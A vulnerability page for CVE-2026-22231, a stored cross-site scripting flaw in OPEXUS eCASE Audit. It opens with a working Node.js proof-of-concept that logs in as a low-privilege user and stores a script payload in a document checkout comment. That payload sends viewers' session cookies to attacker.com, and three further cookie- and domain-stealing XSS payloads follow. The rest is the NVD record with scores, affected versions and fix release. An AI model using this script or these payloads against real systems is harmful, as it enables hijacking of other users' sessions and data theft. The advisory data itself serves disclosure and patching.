CVE-2026-22231

// CVE-2026-22231 PoC - Stored XSS in OPEXUS eCASE Audit // Authentication required (low privilege user) // Target: Document Check Out functionality const axios = require('axios'); async function exploitCVE202622231(baseUrl, username, password) { const session = axios.create({ baseURL: baseUrl }); // Step 1: Login await session.post('/api/auth/login', { username: username, password: password }); // Step 2: Get document list and select a document for check out const docs = await session.get('/api/documents'); const documentId = docs.data[0].id; // Step 3: Check out document with malicious JavaScript in comment const maliciousPayload = '<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>'; await session.post('/api/documents/' + documentId + '/checkout', { comment: maliciousPayload, userId: username }); console.log('[+] Malicious XSS payload stored successfully'); console.log('[+] Payload will execute when user views Action History Log'); } // XSS Payload Examples: // <script>document.location='http://attacker.com?c='+document.cookie</script> // <img src=x onerror=fetch('https://attacker.com/cookie?c='+btoa(document.cookie))> // <svg/onload=fetch('https://attacker.com/log?d='+document.domain)>

{"cve": {"id": "CVE-2026-22231", "sourceIdentifier": "9119a7d8-5eab-497f-8521-727c672e3725", "published": "2026-01-08T18:15:59.910", "lastModified": "2026-02-05T19:23:56.607", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OPEXUS eCASE Audit allows an authenticated attacker to save JavaScript as a comment within the Document Check Out functionality. The JavaScript is executed whenever another user views the Action History Log. Fixed in OPEXUS eCASE Platform 11.14.1.0."}, {"lang": "es", "value": "OPEXUS eCASE Audit permite a un atacante autenticado guardar JavaScript como un comentario dentro de la funcionalidad Document Check Out. El JavaScript se ejecuta cada vez que otro usuario ve el Action History Log. Corregido en OPEXUS eCASE Platform 11.14.1.0."}], "metrics": {"cvssMetricV40": [{"source": "9119a7d8-5eab-497f-8521-727c672e3725", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "9119a7d8-5eab-497f-8521-727c672e3725", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:L", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.1, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "9119a7d8-5eab-497f-8521-727c672e3725", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:opexustech:ecase_audit:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.4.0", "versionEndExcluding": "11.14.1.0", "matchCriteriaId": "F2B018BC-4C7E-4788-8AD4-67F0EB588B92"}]}]}], "references": [{"url": "https://docs.opexustech.com/docs/eCase/11.14.X/eCASE_Release_Notes_11.14.1.0.pdf", "source": "9119a7d8-5eab-497f-8521-727c672e3725", "tags": ["Release Notes"]}, {"url": "https://raw.githubusercontent.com/cisagov/CSAF/develop/csaf_files/IT/white/2025/va-26-008-01.json", "source": "9119a7d8-5eab-497f-8521-727c672e3725", "tags": ["Broken Link"]}, {"url": "https://www.cve.org/CVERecord?id=CVE-2026-22231", "source": "9119a7d8-5eab-497f-8521-727c672e3725", "tags": ["Third Party Advisory"]}]}}